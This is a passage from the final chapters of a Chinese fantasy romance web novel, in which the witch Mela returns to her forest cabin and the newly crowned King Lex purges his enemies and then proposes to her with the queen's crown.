“你怎么会这么想?出来这么久,终于把这堆麻烦事处理完,我可早就迫不及待地想要回家了。” 说着,梅拉伸了个懒腰,一副懒洋洋的样子。 其实从始至终,梅拉都没有改变过自己的想法。 曾经拒绝艾莉卡,打算留在白松镇是因为白松镇有她的家,如今拒绝莱克斯,打算回到黑暗森林也是因为黑暗森林有她的家。 艾莉卡想通这一点,哑然失笑,承认道,“是我想岔了。” 不过,梅拉为她做了这么多事,艾莉卡不能不领情。 她再一次向梅拉发出邀请,“你真的不打算来我那看看吗?这些年,我也收藏了许多珍贵的草药材料,你若是有看上的,我也不是不能忍痛割爱。” “再说吧。”梅拉没有一口应下,就算她真的要去造访艾莉卡的住处,也得等回了小木屋休息一阵再做决定。 “对了,塞拉斯呢?”一旁的尤莉尔疑惑地问。 今早她们离开的时候,尤莉尔还见到塞拉斯站在梅拉的肩上,结果等一上马车,塞拉斯却不见了踪影。 “你说这个啊,它暂时还不打算跟我们一起走,不过之后会赶上我们的。”梅拉含糊地道。 “奇怪,怎么感觉你们神神秘秘的……”尤莉尔察觉到梅拉似乎有事瞒着她,不满地嘟囔了一句,倒也没有非要刨根问底的意思。 此时,被梅拉她们的马车远远甩在身后的王城中,塞拉斯住进了王宫,一脸好奇地打量正在试穿礼袍的莱克斯。 为了明日的加冕礼,整个王城手艺好的裁缝都聚在了一起,几乎是日夜不休地为莱克斯赶制这件华丽的长袍。 金线交织之下,各种各样的宝石仿佛不要钱似的往上堆砌,当几名侍女将这件礼袍从托盘中捧起来时,塞拉斯的眼睛都快看直了。 “咦,这是什么石头?颜色和梅拉的眼睛简直一模一样。” 塞拉斯的目光停留在莱克斯胸前的图案上,忍不住开口道。 然而它这一开口,差点吓了房间里的侍女们一大跳。 什么时候鸽子竟然都会说话了? 但她们偷瞧莱克斯时,却发现这位未来的国王陛下脸上的表情一如既往地冷淡,好像鸽子会说话这件事没什么值得大惊小怪的。 “这是沙弗莱宝石。”莱克斯凝望着镜子中的自己,情不自禁地伸手摩挲了一下胸前的图案,仿佛抚摸到了另一双幽绿的眼睛。 它们同样闪烁着狡黠而细碎的光。 早在很久之前,莱克斯就觉得梅拉的眼睛和这种宝石十分相像,因此让裁缝们制作礼袍的时候,他执意更改了历代国王用红蓝宝石绣出太阳与大海的传统,要求他们必须用上沙弗莱宝石。 “这样啊,”塞拉斯故作镇定地点点头,好像它也认识这什么沙、沙弗莱宝石一样,“这么漂亮的石头,你之后能不能给我一块?我想带回去送给梅拉。” “可以。”莱克斯道。 不过是一块宝石而已,就算塞拉斯狮子大开口,要几十块宝石,莱克斯也不会拒绝它。 只是,莱克斯垂下眼帘,没有告诉塞拉斯,他早就送了梅拉一枚由沙弗莱宝石打造而成的胸针。 这枚胸针曾经静静地躺在莉莉勒斯的首饰盒中,如今终于找到了新一任主人,重见天日。 * 一天之后,艾莉卡与尤莉尔同梅拉分道扬镳。 她们的住处并不在通往黑暗森林的方向,而这辆马车是受了吩咐特意送梅拉回去的。 因此在遇到需要分别的岔路口时,马车停了下来,艾莉卡则与尤莉尔一前一后地走下了马车。 “好了,就在这里分别吧。再见,梅拉,祝你接下来一路顺风。” 又不是生离死别,艾莉卡的道别简单得过了头。 反倒是尤莉尔,定定地看着梅拉,说了一长串自己回去后一定会更加努力,让梅拉不要仗着天赋以为自己永远都会是最厉害的女巫。 听得梅拉懒洋洋地朝她们挥手,“好了,知道了,再见,尤莉尔,我等着你的好消息。” 看起来根本就没把尤莉尔的话放在心上。 目送着马车继续往前,直至在视线中消失不见,尤莉尔仍然有些气鼓鼓的,看得艾莉卡一阵失笑。 她摸了摸尤莉尔的肩膀,安慰道,“舍不得的话,下次直说就好了,这也不丢人嘛。” “谁、谁舍不得了?”尤莉尔顿时像炸了毛的猫一样躲开艾莉卡的手,就差直接跳起来了。 “哦?不是吗?我还以为你很珍惜梅拉这个朋友呢。她应该是你交到的第一个朋友吧?”艾莉卡沉吟,好像真的相信了尤莉尔的口是心非,实则一直用余光偷瞧尤莉尔涨红的脸。 “才不是,她说不定压根没把我当成朋友。”尤莉尔心虚地道。 接着像是为了掩盖这层心虚,尤莉尔大声地嚷了起来,“对!她肯定没把我当朋友!” “噢——”艾莉卡故意拖长了尾调,若有所思地看着尤莉尔,“原来是你把梅拉当成了朋友,但她没把你当朋友啊。” 结果听了艾莉卡的话,尤莉尔看起来更生气了,“谁知道她怎么想的!” 如果梅拉把她当朋友的话,朋友之间道别,不应该拥抱一下吗?尤莉尔别扭地想到。 她曾经偷偷躲在树后,看着村子里的两个女孩道别,就是依依不舍地抱着对方,怎么也不肯分开。 但梅拉看起来哪里有不舍的样子? 不过,尤莉尔都想好了,等她研究出新的药剂,就能名正言顺地去找梅拉了。 看着表情突然又变得放松下来的尤莉尔,艾莉卡不再坏心眼地逗她,她这个侄女因为从小呆在山上,性格单纯得还不如镇上十六七岁的小姑娘。 再逗她的话,艾莉卡还真怕她气坏了。 想到这,艾莉卡耸了耸肩,率先迈步,“走了,尤莉尔,我们还要赶在天黑前抵达下一个小镇呢。” “知道了。”尤莉尔快步跟上艾莉卡,不再回头去看马车留下的车辙。 与此同时,梅拉正把手搭在马车的窗边,任由缓慢流动的风蹭过脸,抚弄发丝,然后无法抓住地溜走。 下一秒,一道黑影猛地扑到梅拉脸上,梅拉下意识地往后倒,让塞拉斯扑了个空,差点撞到车壁上。 “唔唔唔!”塞拉斯大声地控诉梅拉,却因为嘴里叼着一块宝石而无法开口。 “咦,这是莱克斯送你的礼物吗?”梅拉伸手,让塞拉斯把这眼熟的宝石先放到她手里。 “才不是呢,这是我主动问他要的,叫什么沙弗莱宝石。当然了,叫什么名字不重要,重要的是你看这块宝石多像你的眼睛呀。” 一提起这个,塞拉斯瞬间就忘了刚才的不快,兴冲冲地向梅拉介绍到。 “谢谢你,塞拉斯,我很喜欢。”梅拉笑吟吟地将宝石举到半空,任光线穿透它,自由地折射出美丽的光彩。 “不过,你是从哪见到这种宝石的?” 梅拉非常了解塞拉斯,如果不是它见到了类似的宝石,它一定不会知道世上还存在着这样一种石头。 “就在莱克斯的衣服上啊,好像叫什么礼袍吧,胸口处绣的图案用的就是这种宝石。”塞拉斯用翅膀挠了挠头,道。 “说起来,莱克斯穿着这件华丽的长袍,一步步走向王位的时候,其他人都看呆了呢。直到莱克斯自己把王冠戴到头上,他们才说着什么‘不可以’,‘国王怎么能自己给自己戴王冠呢’。” 当时,目睹这一切的塞拉斯看着一群人下意识地想要摘下莱克斯的王冠,却又在莱克斯冷酷的眼神中悻悻地收回了手,顿时发出了乐不可支的笑声。 呱呱,要塞拉斯说,既然是国王的王冠,为什么国王不能戴,非要教皇来给他戴呢? 反正那个教皇看起来也不像好人。 尤其后来听莱克斯说,他就是拉奥德,塞拉斯一下子更讨厌那个装得圣洁又无害的男人了,原来他就是那个伤害了尤莉尔母亲的坏蛋。 要是真的由他为莱克斯加冕,那才叫恶心呢。 “对了对了,加冕礼上还发生了其它的事情……”塞拉斯滔滔不绝地为梅拉讲述它在加冕礼上见过的一切趣事,同时心中不免感到一丝遗憾。 要知道莱克斯头戴王冠,手持权杖,权戒与礼袍上宝石的辉光交相辉映的样子,真的特别不一样。 就好像塞拉斯记忆中的莱克斯变了一个人似的。 若是一开始,塞拉斯见到的是这样的莱克斯,它一定大气不敢出。 不过,不管莱克斯变成什么样,他也一定会乖乖听梅拉的话。 顿觉自己鸟仗人势的塞拉斯挺了挺胸脯,又觉得自己行了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第92章【VIP】 第92章 第 92 章 [结束] 熊熊燃烧的蓝色火焰在壁炉中跳动, 渐渐的,一股烤栗子的香气自屋中弥漫开来。 扶手椅偶尔发出轻微的响动,梅拉在椅子上睡得正香。 羊绒披肩从她的身上滑落,原本盖在膝盖上的毛毯亦掉了一大半在地上。 等到紧闭的窗外传来一阵声响, 这才将梅拉从睡梦中吵醒。 梅拉揉了揉惺忪的睡眼, 原来是塞拉斯被关在了窗外。 塞拉斯也没想到自己溜出来前明明特意留了一道窗缝,结果再飞回来时, 窗子却关得严严实实, 怎么也弄不开。没办法, 它只好不停地啄着窗, 试图叫醒睡得正香的梅拉。 好在塞拉斯还没怎么费功夫, 梅拉就让它闹出的动静吵醒了。 梅拉将毛毯拉起来,丢在扶手椅上,羊绒披肩也往上拽了拽, 这才走去开窗, 放塞拉斯进来。 与塞拉斯一同扑进屋子里的还有凛冽的冬风,迎面吹得梅拉一个激灵,彻底没了那股懒洋洋的困意。 “咦,梅拉,你怎么又把莱克斯的信丢在地上?” 塞拉斯正打算舒舒服服地窝到椅子上吃烤栗子,视线不经意地一扫,就看见了一封静悄悄地躺在地上的信。 哪怕塞拉斯不知道信里写了什么, 但连信封都精致得洒了细腻的金粉, 勾勒出华丽的纹样,一看就是莱克斯专属。 “嗯?这应该是他新送来的信,可不是我故意丢在地上的。” 若是塞拉斯不说,梅拉还真没注意到地上多出了一封信。 毕竟整个屋子里头都乱糟糟的, 差点连个下脚的地方都没有。 梅拉迈过一座座叠得歪歪扭扭的书塔,捡起了地上的信,拆开,一目十行地看了起来。 “莱克斯在信上说什么了?”塞拉斯好奇。 说起来,它和梅拉已经从王城回来好几个月了,期间,莱克斯时不时就会将他觉得梅拉会感兴趣的消息写到信上,这样梅拉就算再懒,也会提笔给他回信。 “说了一个好消息,”梅拉弹了弹信纸,“拉奥德不再是教皇了,甚至很快就要被绞死,尤莉尔要是知道这件事一定会很高兴。” 当初,梅拉特地寻上尤莉尔,旁敲侧击她和艾莉卡之后的打算。 以艾莉卡对复仇的执着程度,梅拉已经做好了要让尤莉尔劝一劝她的准备,没想到,尤莉尔却告诉她,她和艾莉卡不准备留下来了。 “姨妈说,她不会停止对那个男人的复仇,但是她也绝不会把我的安危牵扯进来。所以,至少这一次,她决定暂时放弃。” 尤莉尔越过梅拉,看向她身后一丛丛盛开的玫瑰,觉得今日的阳光似乎有些太过刺眼,以至于让她忍不住低下头,不敢直视梅拉的双眼。 也是在亲耳听到艾莉卡的决定,尤莉尔才意识到,原来艾莉卡见到她们之后,一开始就打着选择梅拉帮忙,却让她置身事外的主意。 在梅拉和尤莉尔之间,显然在艾莉卡的心里,尤莉尔才是更重要的那一个,重要到不希望她以身涉险的地步。 得知这一真相的尤莉尔当然质问过艾莉卡,却只得到艾莉卡轻飘飘的一句:“因为你是艾琳唯一的孩子,你必须活着。” 无法反驳艾莉卡的尤莉尔摔门而出,巨大的愧疚感快要将她淹没。 然而她之后选择的做法却是懦弱地躲了起来,用照顾艾莉卡当借口逃避与梅拉碰面。 直到今天梅拉将她堵在房门口,尤莉尔才发现,这是自从她来到这座宅邸后第一次与梅拉面对面。 “其实,你没必要因为艾莉卡而对我感到愧疚。艾莉卡是艾莉卡,你是你,不是吗?”梅拉从尤莉尔躲闪的态度中意识到了其中的原因,不甚在意地拍了拍她的肩膀。 “如果你提前知道了这件事,你会阻止艾莉卡吗?”梅拉问道。 “我当然会。”尤莉尔想也不想便答道,“我恨他,但他的命才不值得我付出你的命来换。” “所以啊——”梅拉拖长了尾调,笑吟吟地盯着尤莉尔,“不要再背负乱七八糟的罪恶感了,做出利用我这一选择的人从始至终就不是你啊。” “不过,你倒是可以回去告诉艾莉卡,如果她只是想让拉奥德以命偿命的话,已经完全用不着自己动手了。”梅拉又道。 “什么意思?”尤莉尔听得一头雾水。 难道说,有别的人也想要拉奥德的命吗? 这倒是令人毫不意外。 可尤莉尔已经从名叫汉斯的马车夫嘴里听说了,国王的葬礼结束后不久,教会终于推举出了新的教皇,正是拉奥德。 甚至因为葬礼上闹的那一出,拉奥德身边随时跟着不少守卫,把他保护得连只苍蝇都休想靠近。 尤莉尔实在很难想到谁能在这时候成功对拉奥德下手。 “我也不知道他的计划,但就算不是现在,拉奥德这教皇也一定当不了太久。”梅拉异常笃定地道。 他? 尽管尤莉尔不知道梅拉口中的这个“他”是谁,但梅拉既然这么说了,就一定不是随口说出来的安慰。 她相信梅拉。 而一整个秋季过去了,白雪簌簌地落在大地上,为万物裹上了一层洁净的白衣。 连殷红的鲜血流出来,都很快让厚厚的积雪盖得无影无踪。 莱克斯从监狱里走了出来。 凛冽的冬风拂过他英挺的侧颜,更显得莱克斯脸上的表情愈发冷酷了。 “如今拉奥德已经死了,加德纳家族那边也是时候该动手了。”莱克斯漫不经心地同身后跟上来的切尔各道。 “已经派人盯着了。真没想到,当初新生洗礼的事他们竟然也有参与。” 随着切尔各张嘴说话,一阵白雾飘了出来,很快又消散于风中。 “他们想要一个愿意顺从教皇的国王,比起已经让斐南基教导长大的我,当然更青睐不谙世事的西维里。”莱克斯漠然道。 而想要让西维里顺理成章地继位,配合伊莱雅将莱克斯解决掉,显然是一个非常完美的计划。 只是谁都没想到,重重追兵之下,莱克斯竟然活了下来。 当然,如果没有梅拉,或许就真的让福森得逞了。 一想到福森打算先解决莱克斯,再解决伊莱雅和努伦格尔九世,然后扶持年幼的西维里成为国王,教导他全身心地信赖教皇。同时,教皇又是福森选定的拉奥德,切尔各不免感到一阵牙酸。 到那时候,除了坐在王位上的人还姓努伦格尔,真正操控着整个王国的人早就成了福森和其身后的加德纳家族。 要知道,福森早年可是个不折不扣的中立派,谁能想到他竟是一条潜伏多年的毒蛇,冷不丁就要张开嘴巴露出毒牙。 不过,等收拾完加德纳家族,还要接着将教会从上到下清洗一遍,切尔各顿觉肩上沉甸甸的,全是任务。 就是他不懂,莱克斯为什么要这么着急,连循序渐进都等不了,非要赶在春天到来之前将一切事情解决。 如果莱克斯能听见切尔各心中的疑惑,一定会告诉他,是因为梅拉。 自从听梅拉讲起她在金橡城救出尤莉尔的经历,出于一点微不足道的多疑,莱克斯忍不住派人到金橡城调查了一番。 然后意外地发现这件事竟然还真的与梅拉本人扯上了千丝万缕的关系。 甚至可以一路追溯到霍尔的身上。 当初,霍尔的哥哥霍华德找上门,抓走他的妻子乔安妮,就是因为他从交好的骑士嘴里听说领主大人正在寻找与住在黑暗森林的女巫有关的人。 而霍华德忽然想起来,弟弟的妻子这么多年了好像一直都长着一张年轻的脸,而他们所在的村子又离住着女巫的黑暗森林很近。 于是,霍华德把乔安妮或许与女巫有来往的事告诉了与他交好的骑士,两人约好了要先将乔安妮绑来,只要带到领主萨雷伯爵面前,说不定就瞎猫碰上死耗子,获得萨雷伯爵的嘉奖了呢。 虽然这件事最终让梅拉给搅和掉了,但这件事若是没有出现意外呢? 那就是乔安妮和霍尔一起被抓住,而霍尔为了解救乔安妮,不得不违背自己的良心,揣着萨雷伯爵给的迷药,想办法迷倒梅拉后将她带走。 而萨雷伯爵之所以想要抓住梅拉,也是因为他和埃布纳主教的合作。 至于埃布纳主教的想法,那就更简单了,他不知怎么打探到拉奥德这些年来一直在秘密寻找女巫的下落,便想着黑暗森林正好住着一名女巫,拿来献给拉奥德再好不过。 只不过,后来尤莉尔的出现,直接让埃布纳主教改变了目标。 经过一段时间的努力,尤莉尔终于被关进了教会的地牢。 然而,因为尤莉尔简直像一匹烈性的马,为了驯服她,也怕她想方设法地逃跑,埃布纳主教只好让尤莉尔先尝尝皮肉上的折磨。 一切的一切,兜兜转转,和梅拉扯上了关系,又让梅拉给破坏得一干二净,可就算将拉奥德等人抓起来,莱克斯依然不放心。 不如干脆将教会上上下下洗刷一遍,让真正纯洁的人站出来,一心一意侍奉他们的信仰,而不是天天将歪脑筋打到女巫身上。 尤其是像这样,做出有可能伤害到梅拉的事。 雪花还在不停地落下,砸到厚实的斗篷上融化成斑斑点点的水渍。 莱克斯翻身上马,无意中碰到了食指上的凸起,那里戴了一枚权戒,象征着国王至高无上的权力。 也意味着,只要他想,谁也不能打扰到梅拉在黑暗森林的平静生活。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第93章【全文完】 第93章 第 93 章 [我爱你] 一眨眼, 冬去春来,新生的幼兽懵懵懂懂地睁开眼。 空气中漂浮着令它们心安的气息,因此即使发现强大的母亲不在巢穴内,也没有丝毫惊慌, 反而懒洋洋地打了个哈欠, 继续与兄弟姐妹团到了一起。 梅拉的小木屋也在今天迎来了一位意外的客人。 说是一位不太恰当,因为毛茸茸的庞大身躯后, 突然钻出来了一、二、三、四只同样毛茸茸的小脑袋。 “真可爱, 这就是你们去年新生的一窝孩子吧。”梅拉高兴地把几只小狼崽拢到怀里, 一会儿摸摸这只, 一会儿摸摸那只。 听到梅拉的话, 大黑狼短促地嗷呜了一声,似是回应。 与此同时,它慵懒地侧卧在一旁, 用庞大的身躯将梅拉和自己的孩子们围起来, 时不时扬起尾巴,扫到梅拉的裙摆上。 有了第一回的经验,去年母狼顺利地生下了第二窝狼崽,本来孩子们能够自由跑动的时候,大黑狼就背着它们打算来找梅拉,它知道梅拉喜欢毛茸茸的小东西。 结果等大黑狼来到小木屋,发现屋门紧闭, 梅拉和那只吵闹的乌鸦都不在屋子里。 于是大黑狼只好带着孩子们原路返回。 直到春天的气息再度复苏, 结冰的河流恢复流动,它才顺利地让梅拉见到了这群又长大许多的小狼崽们。 长大了的小狼崽控制不住地想要扑咬猎物,包括同一窝长大的兄弟姐妹,然而它们今天却一反常态, 呆在梅拉的怀里乖巧得不得了,还会眼巴巴地蹭着梅拉的手,像一只只黏人的小狗。 梅拉抚摸狼毛的动作忽然一顿,她后知后觉地意识到,距离莱克斯上一次寄信来已经过了一个多月,是被什么事情绊住了吗? * 王宫内,不少新面孔出现在了人前。 随着他们的出现,这场从王城一路烧到各大领地内的暗火终于有了要停息的意思。 也让至今还能站在王座之下的许多人悄悄地松了一口气。 谁都没想到,年轻的国王甫一加冕,立刻以不容置疑的强势姿态开始了清算。 不仅是曾经显赫的加德纳家族,还有自以为是国王党的萨雷伯爵,以及靠着伊莱雅王后嚣张多年的裘德家族……甚至就连趾高气昂的教会,都不得不夹着尾巴,对短短半年之内又换了一位教皇这事闭口不谈。 反抗者的鲜血从身体的破洞处流出,至高无上的王权再一次沉甸甸地落在所有人的心头,震慑着心底最深处的幽暗。 此时此刻,哪怕众人就站在底下,也仿佛嗅到了从王座上传来的若有若无的血腥味。 因此,当莱克斯忽然眸光半睐,大臣们忍不住战战兢兢地互相打量,不知道是谁惹了这头年轻的雄狮不快。 是不甘心西维里获封侯爵被丢去了北地的伊莱雅王后,还是不满莱克斯改动继承法,增加了女性继承人的贵族们? 结果大臣们等了半天,期间绞尽脑汁地回忆着自己有没有被殃及池鱼的可能,就听到上头传来一句自言自语般的喃喃: “其实没有谁规定,王后必须得呆在王宫里,她当然可以自由选择她想要的生活,不是吗?” 嗯?大臣们不约而同地竖起了耳朵。 国王陛下想要迎娶王后了?这是件好事啊。 如果不是担心被暴怒的莱克斯命令守卫把自己丢出王宫,甚至丢去监狱里呆上几天,这些大臣们早就想建议莱克斯抓紧时间,赶紧娶一位王后,为□□出一位优秀的继承人了。 可就是怎么听着这么不对劲呢? 总觉得莱克斯想娶的王后绝对不是他们心中的最佳人选。 思及此,大臣们纷纷将目光投向站在最前方,也是离王座最近的斐南基身上。 然而斐南基垂着眼帘,脸上的表情晦暗不明,让任何人都无法猜出他心中的想法。 别人不知道,斐南基怎么可能不知道,刚才那句话,就是莱克斯特意说给他听的。 毕竟在他和切尔各这两个知情人中,只有他会强烈反对莱克斯将属于王后的王冠戴到梅拉的头上。 既然身为宰相的斐南基不开口,只好由自觉比较胆大的大臣硬着头皮出声询问道:“陛下,那您打算什么时候举办舞会呢?” “舞会?”莱克斯挑眉,居高临下地瞧着那名大臣,“我的王后不需要和一群女人较劲才能赢得走到我身边的资格。” 因为从一开始,他就只会走向她一个人。 是他想要牵起她的手,赢得她的青睐。 “这这这、这不行啊……”大臣们面面相觑,不管是早就得到努伦格尔八世的认可,认定为下一任王后人选的莉莉勒斯,还是与努伦格尔九世情投意合的伊莱雅,她们都无一例外地参与了舞会,向众人展示出了她们能够成为王后的出众之处。 结果现在,莱克斯说他要打破王室数百年来的传统,这怎么行? 见状,莱克斯毫不在意地起身,丢下一句“如果你们非要办这个舞会,那就做好白跑一趟的准备吧”,便越过众人走了出去。 华丽的冠冕上,硕大的宝石在阳光下闪耀着灼灼的光彩。 而大臣们只能眼睁睁地看着莱克斯的背影消失,接着一头雾水地问斐南基,“陛下这是什么意思?” “就是他绝不会出席这场舞会的意思。” 说完,斐南基同样迈步离开了众人的视线之中。 早就知道莱克斯的打算,特意守在门廊外的切尔各见斐南基走出来,立刻跟上他的脚步,装作不经意地手握成拳,放到唇边轻咳了一声: “咳,没想到,你竟然没有当众反对陛下的决定?” “这不正是你想看到的一幕吗?”斐南基冷淡地瞥了身旁的切尔各一眼,“再说了,就算我想反对,也得拿出反对的办法才行。” 这半年来,莱克斯的作风如此决绝不留余地,又换了不少拥护他的人上位,不仅为坐稳王位扫清了障碍,同样也为钳制斐南基做足了准备。 如今,为了反对梅拉成为王后而与莱克斯起冲突,其中的利弊显然是弊大于利,斐南基还不至于愚蠢到这个地步。 更何况,既然莱克斯想放任梅拉做一位自由自在的王后,不需要她承担任何身为王后应尽的义务,那只要他们生出继承人,斐南基也懒得再管这件事。 “你能想开就最好了。”切尔各笑着拍了拍斐南基的肩膀,否则他夹在莱克斯与斐南基的中间也很是头疼。 不过,“接下来这段日子,就拜托你多辛苦一下了。” “什么意思?”斐南基皱眉,从切尔各的话中听出了一点不详的意味。 “啊……这个嘛……”切尔各含糊地应着,一会儿看看天,一会儿又看看地,就是不敢直视斐南基的眼睛。 他总觉得要是现在就把莱克斯跑了的事告诉斐南基,那莱克斯或许就未必能顺利地离开王城了。 反正,最多一个月,莱克斯应该就能从黑暗森林中带着好消息回来了吧?切尔各心虚地想到。 * 送走大黑狼和小狼崽子们,梅拉坐在木屋的台阶上,撑着脸,静静地欣赏夕阳的余晖。 橙色的光辉包容地洒了一地,带着太阳烧尽了的余温。 她忽然想到了很久之前,她也是像这样坐着,一边重新编着散乱的辫子,一边邀请刚从地下室中走出来的莱克斯,一起来晒夕阳。 那会儿莱克斯自持身份,不肯同她一起毫不讲究地坐在地上,只肯站在她的身旁,像一株不论经历风吹雨打也不愿弯折一分的幼苗。 现在幼苗长成了参天大树,连投在地上的影子都分外挺拔。 “莱克斯,你来啦。”梅拉的眼中有划过一瞬的讶然,但很快,她笑意吟吟地同突然骑着马出现在面前的莱克斯打起了招呼。 “嗯,我来了。”莱克斯利落地翻身下马。 梅拉注意到,他的左手似乎拿着什么东西,就藏在披风底下,直到走到她面前,才终于把它拿了出来。 原来是一顶小小的王冠。 虽然只是巴掌大小,但上头镶嵌的宝石与精心打造的繁复花纹俱是价值不菲。 “这是属于历代王后才能佩戴的王冠。”莱克斯简单地介绍了一下它的来历。 同时,他在梅拉面前单膝跪地,低下了身为国王本应永远高傲的头颅。 “若是你愿意怜悯我,接受这个王冠,那我便以努伦格尔之姓起誓,我将一生忠贞于吾爱,绝不背叛、永不抛弃,直到死亡将我们分离。” 梅拉定定地看着莱克斯捧到自己面前的王冠,歪了歪头,“即使我不可能和你离开这里,到王宫去当一名合格的王后,你也坚持要将这顶王冠交给我吗?” 闻言,莱克斯抬眸,任梅拉看清他眼中不可动摇的坚定。 “好吧。”梅拉接过王冠,将其随意地戴到了头上,不免感叹了一句,“唔,这个王冠好像还挺重的呢。” 不过,透过莱克斯那双金色的眼睛,梅拉能看到自己的倒影逐渐放大。 下一秒,梅拉的唇印到了莱克斯的鼻尖。 “莱克斯,你还差最重要的一句话没说哦?” 梅拉用黏糊的,仿佛沾了蜜糖一样的嗓音引导道。 在莱克斯反应过来,要将唇与唇相贴之前,他迫不及待地说出了梅拉想听的那句话: “我爱你,梅拉。” 而梅拉我也爱你的回应,最后只能融入唇尖,送入莱克斯的身体内,让无法言说的满足感充盈彼此。 夕阳的余晖渐渐消失,带着情人间呢喃的絮语,沉入了浓浓的夜色之中。 夜还很长。 ——End魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m